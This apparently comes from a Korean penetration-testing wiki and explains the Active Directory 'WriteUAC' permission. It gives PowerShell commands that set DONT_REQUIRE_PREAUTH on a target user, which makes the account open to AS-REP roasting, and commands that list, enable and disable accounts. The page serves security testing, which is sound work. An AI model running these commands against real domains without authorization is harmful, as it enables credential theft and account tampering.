WriteUAC

WriteUAC 세팅

WriteUAC는 도메인 객체의 userAccountControl 속성을 변경할 수 있는 권한입니다. 블러드하운드에서 등록된 권한이 아니기 때문에 실제로 권한을 가진 객체라고 하더라도 별도로 표시되지는 않습니다.

userAccountControl 속성에 대해 쓰기 권한이 있다면 할 수 있는 행위는 많은 편입니다. 모든 속성 플래그는 Microsoft 공식 문서 나와있으며, 다음은 침투 테스트에서 사용할 수 있는 속성입니다.

속성
설명

ACCOUNTDISABLE

계정 활성화/비활성화

DONT_REQUIRE_PREAUTH

Do not require Kerberos preauthentication 활성화/비활성화

DONT_REQUIRE_PREAUTH
# 사용자 크리덴셜 변수화
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)
$target  = 'user-B'

# 사용자 UAC 비트 수정(백업 필요 시 백업 해야함)
$uacOld  = (Get-ADUser $target -Properties userAccountControl -Credential $cred).userAccountControl
$uacNew  = $uacOld -bor 0x00400000
Set-ADUser $target -Replace @{userAccountControl = $uacNew} -Credential $cred
ACCOUNTDISABLE
# 모든 비활성화 계정 열거
Get-ADUser -Filter 'Enabled -eq $false' -Properties Enabled | Select-Object Name, SamAccountName, Enabled

# 계정 활성화/비활성화
Disable-ADAccount -Identity user-B
Enable-ADAccount  -Identity user-B

Last updated

Was this helpful?